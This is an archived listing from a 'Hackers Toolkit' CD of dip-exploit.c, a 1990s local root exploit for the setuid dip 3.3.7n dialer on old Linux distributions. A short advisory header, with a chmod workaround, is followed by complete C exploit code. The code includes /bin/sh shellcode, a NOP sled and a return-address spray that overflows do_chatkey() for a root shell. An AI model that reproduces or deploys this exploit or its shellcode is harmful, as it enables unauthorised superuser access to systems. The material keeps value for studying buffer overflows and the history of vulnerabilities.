home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / dip-exploit.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  2KB  |  70 lines

  1. /*
  2. PROGRAM:        dip 3.3.7n, and probably other variants
  3.  
  4. AFFECTED SYSTEMS:    Linux - Slackware 3.0 and RedHat 2.1 verified,
  5.             others unknown.
  6.  
  7. IMPACT:            Local users can get superuser privleges.
  8.  
  9. SYNOPSIS:        Some Linux distributions come with dip setuid
  10.             root by default.  There are multiple points in
  11.             dip where an unbounded buffer is used with user
  12.             supplied data making possible a stack overflow.
  13.             Functions in which this appears to be possible
  14.             include do_chatkey() and mdm_dial().
  15.  
  16. WORKAROUND:        It is suggested that at least until the source
  17.             has been further scrutinized that dip not be
  18.             setuid unless necessary.
  19.  
  20.             chmod 0755 dip
  21.  
  22.             If you must have dip setuid, place it in a group
  23.             where it can only be executed by trusted users.
  24.  
  25. SAMPLE EXPLOIT:
  26. */
  27.  
  28. /* dip-exploit.c - overruns the buffer in do_chatkey() to give a shell */
  29.  
  30. #include <unistd.h>
  31. #include <stdio.h>
  32. #include <stdlib.h>
  33. #include <fcntl.h>
  34. #include <sys/stat.h>
  35.  
  36. #define PATH_DIP "/usr/sbin/dip"
  37.  
  38. u_char shell[] = /* courtesy of avalon  ;) */
  39. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  40. "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  41. "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  42.  
  43. u_long esp() { __asm__("movl %esp, %eax"); }
  44.  
  45. main()
  46. {
  47.   u_char buf[1024];
  48.   u_long addr;
  49.   int i, f;
  50.  
  51.   strcpy(buf, "chatkey ");
  52.   addr = esp() - 192;
  53.   for (i=8; i<128+16; i+=4)
  54.     *((u_long *) (buf+i)) = addr;
  55.   for (i=128+16; i<512; i++)
  56.     buf[i] = 0x90;
  57.   for (i=0; i<strlen(shell); i++)
  58.     buf[512+i] = shell[i];
  59.   buf[512+i] = '\n';
  60.  
  61.   if ((f = open("temp.dip", O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0) {
  62.     perror("temp.dip");
  63.     exit(0);
  64.   }
  65.   write(f, buf, 512+i);
  66.   close(f);
  67.  
  68.   execl(PATH_DIP, "dip", "temp.dip", (char *)0);
  69. }
  70.